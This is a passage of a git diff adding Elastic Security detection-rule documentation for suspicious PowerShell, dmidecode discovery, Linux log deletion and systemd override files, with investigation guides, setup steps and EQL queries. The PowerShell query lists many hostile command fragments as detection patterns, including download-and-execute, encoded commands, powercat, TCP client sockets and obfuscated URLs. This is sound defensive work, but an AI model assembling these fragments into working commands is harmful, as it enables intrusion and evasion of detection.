to prevent false alerts. +- Developers might use PowerShell for testing or development purposes, which can include obfuscation techniques. Validate the developer's activities and exclude their specific development environments or scripts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious PowerShell processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "powershell.exe" and + + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + + not process.parent.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe" + ) and + + ( + process.command_line : ( + "*^*^*^*^*^*^*^*^*^*", + "*`*`*`*`*", + "*+*+*+*+*+*+*", + "*[char[]](*)*-join*", + "*Base64String*", + "*[*Convert]*", + "*.Compression.*", + "*-join($*", + "*MemoryStream*", + "*WriteAllBytes*", + "* -enc *", + "* -ec *", + "* /e *", + "* /enc *", + "* /ec *", + "*WebClient*", + "*DownloadFile*", + "*DownloadString*", + "* iex*", + "* iwr*", + "* aQB3AHIAIABpA*", + "*Reflection.Assembly*", + "*Assembly.GetType*", + "*$env:temp\\*start*", + "*powercat*", + "*nslookup -q=txt*", + "*$host.UI.PromptForCredential*", + "*Net.Sockets.TCPClient*", + "*curl *;Start*", + "powershell.exe \"<#*", + "*ssh -p *", + "*http*|iex*", + "*@SSL\\DavWWWRoot\\*.ps1*", + "*.lnk*.Seek(0x*", + "*[string]::join(*", + "*[Array]::Reverse($*", + "* hidden $(gc *", + "*=wscri& set*", + "*http'+'s://*", + "*.content|i''Ex*", + "*//:sptth*", + "*//:ptth*", + "*h''t''t''p*", + "*'tp'':''/'*", + "*$env:T\"E\"MP*", + "*;cmd /c $?", + "*s''t''a''r*", + "*$*=Get-Content*AppData*.SubString(*$*", + "*=cat *AppData*.substring(*);*$*", + "*-join'';*|powershell*", + "*.Content;sleep *|powershell*", + "*h\''t\''tp:\''*", + "*-e aQB3AHIAIABp*", + "*iwr *https*).Content*", + "*$env:computername*http*", + "*;InVoKe-ExpRESsIoN $COntent.CONTENt;*", + "*WebClient*example.com*", + "*=iwr $*;iex $*", + "*ServerXmlHttp*IEX*", + "*XmlDocument*IEX*" + ) or + + ( + process.command_line : "*.replace*" and + /* exclude known process and network inventory collection patterns */ + not process.command_line : ( + "*Get-CimInstance -Class Win32_Process*ConvertTo-Csv*Select-Object*$_.Replace*", + "*function replace_unallowed*$s.replace*Get-Counter*Network Adapter*" + ) + ) or + + (process.args : "-c" and process.args : "&{'*") or + + (process.args : "-Outfile" and process.args : "Start*") or + + (process.args : "-bxor" and process.args : "0x*") or + + process.args : "$*$*;set-alias" or + + process.args == "-e" or + + // ATHPowerShellCommandLineParameter + process.args : ("-EncodedCommandParamVariation", "-UseEncodedArguments", "-CommandParamVariation") or + + ( + process.parent.name : ("explorer.exe", "cmd.exe") and + process.command_line : ("*-encodedCommand*", "*Invoke-webrequest*", "*WebClient*", "*Reflection.Assembly*")) + ) and + not process.command_line : ( + "*Use-Icinga -Minimal*", + "*& {$j = sajb {Add-Type -AssemblyName*", + "\"?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -noprofile -ExecutionPolicy Bypass -Command \"((New-Object System.Net.WebClient).OpenRead('https://www.google.com')).CanRead\" ", + "\"?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -noprofile -ExecutionPolicy Bypass -Command \"((New-Object System.Net.WebClient).OpenRead('https://www.google.com')).CanRead\" " + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc new file mode 100644 index 0000000000..6c1cf5ae3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-36-system-information-discovery-via-dmidecode-from-parent-shell]] +=== System Information Discovery via dmidecode from Parent Shell + +This rule detects the use of dmidecode to gather system information from a Linux host when executed from a parent shell process. Adversaries may use dmidecode to collect detailed hardware and system information, which can aid in further exploitation or lateral movement within a network, or be used as a fingerprint for a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2024/29676/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Information Discovery via dmidecode from Parent Shell* + + +This rule flags dmidecode launched from a parent shell, signaling collection of hardware and firmware inventory that adversaries use to profile a host and inform exploitation or lateral movement. A typical pattern is an intruder running bash -c 'dmidecode -t system -t bios' within a post-exploitation script to harvest model, serial, BIOS vendor, and hypervisor indicators, then tailoring payload choices or host-based evasion accordingly. + + +*Possible investigation steps* + + +- Extract the full parent shell command payload to see exact dmidecode arguments, targeted DMI types, and any output redirection or piping to grep, gzip, curl, scp, or similar utilities indicating data collection or exfiltration. +- Correlate execution context by tying the parent shell to the user, TTY versus non-interactive origin (cron/systemd/SSH), source IP, and presence of unexpected sudo/root elevation to judge intent and privilege. +- Pivot on the parent PID and session to list adjacent commands within the timeline to identify broader discovery or staging chains and any script or binary loader used. +- Search for captured output by reviewing recent file writes under /tmp, /var/tmp, /dev/shm, and home directories for DMI dumps, hardware inventory files, or compressed archives, and triage ownership and timestamps. +- Investigate network activity from the shell and its children around the event for outbound connections, especially HTTP/S3/SSH transfers that could carry dmidecode output, and capture destination details for enrichment. + + +*False positive analysis* + + +- A system administrator runs a shell with -c to execute dmidecode during manual troubleshooting; corroborate with an interactive TTY, a known admin user, and absence of adjacent collection or network activity. +- A legitimate cron or systemd maintenance/provisioning job calls a shell with -c to run dmidecode for hardware inventory; verify the scheduled unit or service, script location under /etc, and expected run cadence. + + +*Response and remediation* + + +- Immediately kill the shell process running '-c "dmidecode ..."', terminate its children (e.g., grep, gzip, curl, scp), and isolate the host if the command chained output to a network transfer. +- Block observed exfil destinations by adding temporary egress rules for the IP/domain referenced in the parent shell (curl/wget/scp targets), and confiscate any DMI dumps or archives found under /tmp, /var/tmp, or /dev/shm. +- Remove persistence by deleting scripts and jobs that call dmidecode, including entries under /etc/cron.*, systemd units in /etc/systemd/system, or shell scripts dropped in home directories and /opt, and clear residual output files. +- Recover by validating integrity of /usr/sbin/dmidecode and shell binaries (bash/sh/zsh), restoring from backup if tampering is detected, and re-enable network only after rotating passwords and SSH keys for affected accounts. +- Escalate to incident response if dmidecode output is compressed/encoded then sent externally (e.g., '/tmp/dmi.txt.gz' piped to curl or scp), if run via sudo by an unexpected user, or observed on multiple hosts in a short window. +- Harden by restricting dmidecode use to approved scripts via sudoers and AppArmor/SELinux profiles, alerting on shell '-c' hardware inventory commands, auditing writes to /tmp and /var/tmp, and replacing ad-hoc inventory with signed, centrally managed tooling. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Elastic Endgame +- SentinelOne Cloud Funnel + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name == "dmidecode" and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.parent.args == "-c" and not ( + process.parent.command_line in ( + "/bin/sh -c /usr/sbin/dmidecode | /bin/grep VMware", "sh -c dmidecode -s system-manufacturer" + ) or + ?process.working_directory in ( + "/data/oem_agent/agent_inst/sysman/emd", "/opt/rapid7/ir_agent/components/insight_agent/common", "/opt/veeam/transport", + "/data/app/oracle/agent/agent_inst/sysman/emd", "/home/nessus", "/opt/commvault", "/opt/nessus_agent/var/nessus/mod/com.tenable.nessus_agent/data" + ) or + process.parent.args like "printf*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-system-log-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-system-log-file-deletion.asciidoc new file mode 100644 index 0000000000..9a936862cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-system-log-file-deletion.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-36-system-log-file-deletion]] +=== System Log File Deletion + +Identifies the deletion of sensitive Linux system logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/live-off-the-land-an-overview-of-unc1945 +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Log File Deletion* + + +System logs are crucial for monitoring and auditing activities on Linux systems, providing insights into system events and user actions. Adversaries may delete these logs to cover their tracks, hindering forensic investigations. The detection rule identifies suspicious deletions of key log files, excluding benign processes like compression tools, to flag potential evasion attempts. This helps security analysts quickly respond to and investigate unauthorized log deletions. + + +*Possible investigation steps* + + +- Review the specific file path involved in the deletion event to determine which log file was targeted, using the file.path field from the alert. +- Investigate the process responsible for the deletion by examining the process.name and related process metadata to identify any suspicious or unauthorized activity. +- Check for any recent login or session activity around the time of the log deletion by reviewing other logs or authentication records, focusing on the /var/log/auth.log and /var/log/secure files if they are still available. +- Analyze the user account associated with the deletion event to determine if it has a history of suspicious activity or if it was potentially compromised. +- Correlate the deletion event with other security alerts or anomalies in the system to identify any patterns or related incidents that might indicate a broader attack or compromise. +- Assess the impact of the log deletion on the system's security posture and determine if any critical forensic evidence has been lost, considering the importance of the deleted log file. + + +*False positive analysis* + + +- Compression tools like gzip may trigger false positives when they temporarily delete log files during compression. To mitigate this, ensure gzip is included in the exclusion list within the detection rule. +- Automated system maintenance scripts might delete or rotate log files as part of routine operations. Review these scripts and add their process names to the exclusion list if they are verified as non-threatening. +- Docker-related processes, such as dockerd, can also cause false positives when managing container logs. Confirm these activities are legitimate and include dockerd in the exclusion list to prevent unnecessary alerts. +- Custom backup or log management tools may delete logs as part of their normal function. Identify these tools and add their process names to the exclusion list after verifying their benign nature. +- Scheduled tasks or cron jobs that manage log files should be reviewed. If they are confirmed to be safe, their associated process names should be added to the exclusion list to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data tampering. +- Conduct a thorough review of user accounts and permissions on the affected system to identify any unauthorized access or privilege escalation. +- Restore deleted log files from backups if available, to aid in further forensic analysis and to maintain system integrity. +- Implement enhanced monitoring on the affected system and similar systems to detect any further unauthorized log deletions or suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the scope of the breach. +- Review and update security policies and configurations to ensure that only authorized processes can delete critical log files, leveraging access controls and audit policies. +- Consider deploying additional endpoint detection and response (EDR) solutions to improve visibility and detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "deletion" and file.path in ( + "/var/run/utmp", "/var/log/wtmp", "/var/log/btmp", "/var/log/lastlog", "/var/log/faillog", + "/var/log/syslog", "/var/log/messages", "/var/log/secure", "/var/log/auth.log", "/var/log/boot.log", + "/var/log/kern.log", "/var/log/dmesg" +) and not ( + process.name in ("gzip", "executor", "dockerd") or + (process.executable in ("/usr/bin/podman", "/dev/fd/3") and file.name == "lastlog") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-systemd-service-override-configuration-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-systemd-service-override-configuration-file-created.asciidoc new file mode 100644 index 0000000000..13bff8ef3e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-systemd-service-override-configuration-file-created.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-36-systemd-service-override-configuration-file-created]] +=== Systemd Service Override Configuration File Created + +This rule detects the creation or renaming of a new Systemd override configuration file in any of the Systemd service locations for both root and regular users. Systemd override configuration files are configuration files in Linux systems used to override the default Systemd service configuration for a specific service. Malicious actors can leverage systemd override configuration files to achieve persistence by creating or modifying services to execute malicious commands or payloads during system startup or at a predefined interval by adding a systemd timer. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd Service Override Configuration File Created* + + +This alert fires when a new systemd service override file appears in standard system or user service directories, which can silently change how a service starts and make malicious behavior survive reboots or user logins. An attacker might drop an override for sshd.service or a common daemon to add an ExecStartPre or timer-triggered command that launches a backdoor every boot while leaving the original unit intact. + + +*Possible investigation steps* + + +- Open the new override and compare it with the base unit and any recent approved change, focusing on directives like ExecStart, ExecStartPre, ExecStartPost, Environment, User, WorkingDirectory, OnCalendar, and WantedBy that could introduce persistence or alter privileges. +- Trace the creation back to the initiating binary, parent process chain, account, and session context to determine whether it originated from expected package management or configuration automation versus an interactive shell, script, or unknown tool. +- Review nearby host activity for `systemctl daemon-reload`, `enable`, `start`, `restart`, or timer operations, then verify whether the affected service or timer loaded the override and launched any newly referenced command. +- Examine any scripts, binaries, environment files, sockets, or network destinations referenced by the override for newly dropped or suspicious content, and hunt for similar override files on the same host and peer systems to assess spread. + + +*False positive analysis* + + +- A system administrator may legitimately create `/etc/systemd/system/.d/override.conf` during maintenance to change startup order, resource limits, or environment settings for a supported service, so verify a corresponding approved change and confirm the creating process and user session map to expected administrative activity. +- A user or root account may create a user-level `override.conf` under `~/.config/systemd/user/` or `~/.local/share/systemd/user/` to customize a legitimate per-user service, so confirm the file owner matches the affected account and that any `Exec*` or `Environment` entries reference the expected application path and business use. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while keeping it powered on, preserve the malicious `override.conf`, the base unit file, any referenced scripts or binaries, and the output of `systemctl cat ` and `systemctl status ` for evidence and scoping. +- Remove attacker persistence by disabling and stopping the altered service or timer, deleting the malicious drop-in directory or `override.conf`, reversing any added `Exec*`, `Environment`, or `OnCalendar` directives, and running `systemctl daemon-reload` before confirming the unit now matches the approved baseline. +- Search the host and peer systems for additional drop-ins under `/etc/systemd/system`, `/usr/lib/systemd/system`, and user service paths, then quarantine any newly referenced payloads, kill related processes, and block their hashes or paths in endpoint controls. +- Restore the system to a known-good state by reinstalling or replacing any modified unit files, scripts, and binaries from trusted packages or backups, rotating credentials and secrets used by the affected service account, and rebuilding the host if integrity cannot be confidently verified. +- Escalate to incident response immediately if the override modified a high-value service such as `sshd`, a security agent, or a network-facing daemon, if root-level user service paths were abused, or if the same persistence appears on multiple hosts, because these signs indicate broader compromise. +- Harden the environment by restricting write access to systemd service directories, tightening sudo and configuration-management permissions, enforcing file integrity monitoring on `*.service.d/override.conf`, and alerting on unauthorized `systemctl enable`, `daemon-reload`, and service or timer changes. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.extension == "conf" and file.path like ( + "/etc/systemd/system/*.d/*.conf", "/etc/systemd/user/*.d/*.conf", "/usr/local/lib/systemd/system/*.d/*.conf", + "/lib/systemd/system/*.d/*.conf", "/usr/lib/systemd/system/*.d/*.conf", "/usr/lib/systemd/user/*.d/*.conf", + "/home/*/.config/systemd/user/*.d/*.conf", "/home/*/.local/share/systemd/user/*.d/*.conf", + "/root/.config/systemd/user/*.d/*.conf", "/root/.local/share/systemd/user/*.d/*.conf" +) and +not process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", "/usr/local/sbin/apk", "/usr/bin/dnf5", + "/usr/bin/apt", "/usr/bin/puppet", "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/pacman", + "/usr/bin/chef-client", "/bin/chef-client", "/usr/bin/pamac-daemon", "/bin/pamac-daemon", "/usr/local/bin/dockerd", + "/usr/bin/crio", "/usr/bin/podman", "/usr/bin/tdnf", "/usr/bin/apk", + "/usr/libexec/netplan/generate", "/usr/lib/systemd/system-generators/netplan", + "/opt/puppetlabs/puppet/bin/ruby", "/usr/local/logscale-collector/logscale-collector-update", + "/opt/veeam/transport/veeamtransport" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-timestomping-using-touch-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-timestomping-using-touch-command.asciidoc new file mode 100644 index 0000000000..6b205bb48d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-timestomping-using-touch-command.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-36-timestomping-using-touch-command]] +=== Timestomping using Touch Command + +Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that are in the same folder. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS 